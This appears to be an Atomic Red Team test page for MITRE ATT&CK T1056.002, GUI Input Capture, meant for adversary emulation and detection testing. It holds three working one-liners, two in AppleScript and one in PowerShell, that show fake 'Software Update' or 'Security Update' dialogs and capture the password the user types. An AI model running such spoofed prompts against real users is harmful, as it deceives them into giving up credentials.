# T1056.002 - Input Capture: GUI Input Capture

## Description from ATT&CK

> Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).
> 
> Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)
> 
> Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., [Browser Information Discovery](https://attack.mitre.org/techniques/T1217) and/or [Application Window Discovery](https://attack.mitre.org/techniques/T1010)) to spoof prompts when users are naturally accessing sensitive sites/data.

[Source](https://attack.mitre.org/techniques/T1056/002)

## Atomic Tests

- [Atomic Test #1: AppleScript - Prompt User for Password](#atomic-test-1-applescript---prompt-user-for-password)
- [Atomic Test #2: PowerShell - Prompt User for Password](#atomic-test-2-powershell---prompt-user-for-password)
- [Atomic Test #3: AppleScript - Spoofing a credential prompt using osascript](#atomic-test-3-applescript---spoofing-a-credential-prompt-using-osascript)

### Atomic Test #1: AppleScript - Prompt User for Password

Prompt User for Password (Local Phishing)
Reference: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html

**Supported Platforms:** macOS

**auto_generated_guid:** `76628574-0bc1-4646-8fe2-8f4427b47d15`

#### Attack Commands: Run with `bash`!

```bash
osascript -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to display dialog "Software Update requires that you type your password to apply changes." & return & return  default answer "" with icon 1 with hidden answer with title "Software Update"'
```

### Atomic Test #2: PowerShell - Prompt User for Password

Prompt User for Password (Local Phishing) as seen in Stitch RAT. Upon execution, a window will appear for the user to enter their credentials.

Reference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py

**Supported Platforms:** Windows

**auto_generated_guid:** `2b162bfd-0928-4d4c-9ec3-4d9f88374b52`

#### Attack Commands: Run with `powershell`!

```powershell
# Creates GUI to prompt for password. Expect long pause before prompt is available.    
$cred = $host.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName)
# Using write-warning to allow message to show on console as echo and other similar commands are not visable from the Invoke-AtomicTest framework.
write-warning $cred.GetNetworkCredential().Password
```

### Atomic Test #3: AppleScript - Spoofing a credential prompt using osascript

Prompt user for password without requiring permissions to send Apple events to System Settings.
https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/

**Supported Platforms:** macOS

**auto_generated_guid:** `b7037b89-947a-427a-ba29-e7e9f09bc045`

#### Attack Commands: Run with `bash`!

```bash
PWD_SPOOF=$(osascript -e 'display dialog "To perform a security update MacOS needs your passphrase." with title "MacOS Security Update" default answer "" with icon stop with hidden answer')
echo $PWD_SPOOF
```